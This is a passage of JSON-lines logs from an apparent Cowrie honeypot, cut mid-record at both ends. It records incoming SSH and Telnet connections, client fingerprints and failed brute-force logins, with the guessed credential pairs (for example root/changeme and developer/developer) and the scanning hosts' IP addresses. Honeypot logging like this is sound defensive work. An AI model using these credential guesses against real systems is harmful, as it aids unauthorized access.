fie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:19.553008Z","src_ip":"92.118.39.236","session":"11b13d523cf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:19.983572Z","src_ip":"92.118.39.236","session":"11b13d523cf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":48680,"dst_ip":"10.17.0.5","dst_port":22,"session":"024206f8026b","protocol":"ssh","message":"New connection: 153.80.249.112:48680 (10.17.0.5:22) [session: 024206f8026b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:24.776250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:24.781504Z","src_ip":"153.80.249.112","session":"024206f8026b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:24.873439Z","src_ip":"153.80.249.112","session":"024206f8026b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"My123456","message":"login attempt [root/My123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:25.234843Z","src_ip":"153.80.249.112","session":"024206f8026b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:26.319787Z","src_ip":"153.80.249.112","session":"024206f8026b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":37362,"dst_ip":"10.17.0.5","dst_port":22,"session":"115032b7503a","protocol":"ssh","message":"New connection: 115.135.235.126:37362 (10.17.0.5:22) [session: 115032b7503a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:50.043246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:50.048322Z","src_ip":"115.135.235.126","session":"115032b7503a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:50.337913Z","src_ip":"115.135.235.126","session":"115032b7503a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789@Ab","message":"login attempt [root/123456789@Ab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:51.481603Z","src_ip":"115.135.235.126","session":"115032b7503a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:52.786030Z","src_ip":"115.135.235.126","session":"115032b7503a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":50638,"dst_ip":"10.17.0.5","dst_port":22,"session":"c02fe65a4dfb","protocol":"ssh","message":"New connection: 45.173.103.113:50638 (10.17.0.5:22) [session: c02fe65a4dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:53.016977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:53.021880Z","src_ip":"45.173.103.113","session":"c02fe65a4dfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:53.127467Z","src_ip":"45.173.103.113","session":"c02fe65a4dfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lili","password":"lili","message":"login attempt [lili/lili] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:53.567169Z","src_ip":"45.173.103.113","session":"c02fe65a4dfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:04:54.672507Z","src_ip":"45.173.103.113","session":"c02fe65a4dfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44226,"dst_ip":"159.203.135.109","dst_port":23,"session":"35165f82abb9","protocol":"telnet","message":"New connection: 69.4.83.194:44226 (159.203.135.109:23) [session: 35165f82abb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:18.289721Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":47390,"dst_ip":"159.203.135.109","dst_port":22,"session":"e42aae13be08","protocol":"ssh","message":"New connection: 89.223.69.22:47390 (159.203.135.109:22) [session: e42aae13be08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:20.068202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:20.072835Z","src_ip":"89.223.69.22","session":"e42aae13be08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:20.185227Z","src_ip":"89.223.69.22","session":"e42aae13be08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"302010","message":"login attempt [root/302010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:20.531028Z","src_ip":"89.223.69.22","session":"e42aae13be08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:21.645805Z","src_ip":"89.223.69.22","session":"e42aae13be08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.196.27.130","src_port":57326,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cb1e46ef0fd","protocol":"ssh","message":"New connection: 118.196.27.130:57326 (10.17.0.5:22) [session: 3cb1e46ef0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:36.343942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:36.352026Z","src_ip":"118.196.27.130","session":"3cb1e46ef0fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:37.254461Z","src_ip":"118.196.27.130","session":"3cb1e46ef0fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":60432,"dst_ip":"10.17.0.5","dst_port":22,"session":"9715d6b7b25c","protocol":"ssh","message":"New connection: 109.172.54.111:60432 (10.17.0.5:22) [session: 9715d6b7b25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:38.195977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:38.200629Z","src_ip":"109.172.54.111","session":"9715d6b7b25c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:38.224361Z","src_ip":"118.196.27.130","session":"3cb1e46ef0fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:38.300336Z","src_ip":"109.172.54.111","session":"9715d6b7b25c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01011977","message":"login attempt [root/01011977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:38.597611Z","src_ip":"109.172.54.111","session":"9715d6b7b25c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:39.460068Z","src_ip":"118.196.27.130","session":"3cb1e46ef0fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:39.698955Z","src_ip":"109.172.54.111","session":"9715d6b7b25c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.00346755981445,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:53.293031Z","src_ip":"69.4.83.194","session":"35165f82abb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:05:55.364517Z","src_ip":"218.78.60.105","session":"f63e41f17e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":42158,"dst_ip":"10.17.0.5","dst_port":22,"session":"889e560f0db4","protocol":"ssh","message":"New connection: 153.80.249.112:42158 (10.17.0.5:22) [session: 889e560f0db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:00.478607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:00.483764Z","src_ip":"153.80.249.112","session":"889e560f0db4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:00.569695Z","src_ip":"153.80.249.112","session":"889e560f0db4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:00.934380Z","src_ip":"153.80.249.112","session":"889e560f0db4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:02.022698Z","src_ip":"153.80.249.112","session":"889e560f0db4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":33830,"dst_ip":"159.203.135.109","dst_port":22,"session":"3aa054a7a7b9","protocol":"ssh","message":"New connection: 103.77.242.62:33830 (159.203.135.109:22) [session: 3aa054a7a7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:08.486840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:06:08.491509Z","src_ip":"103.77.242.62","session":"3aa054a7a7b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 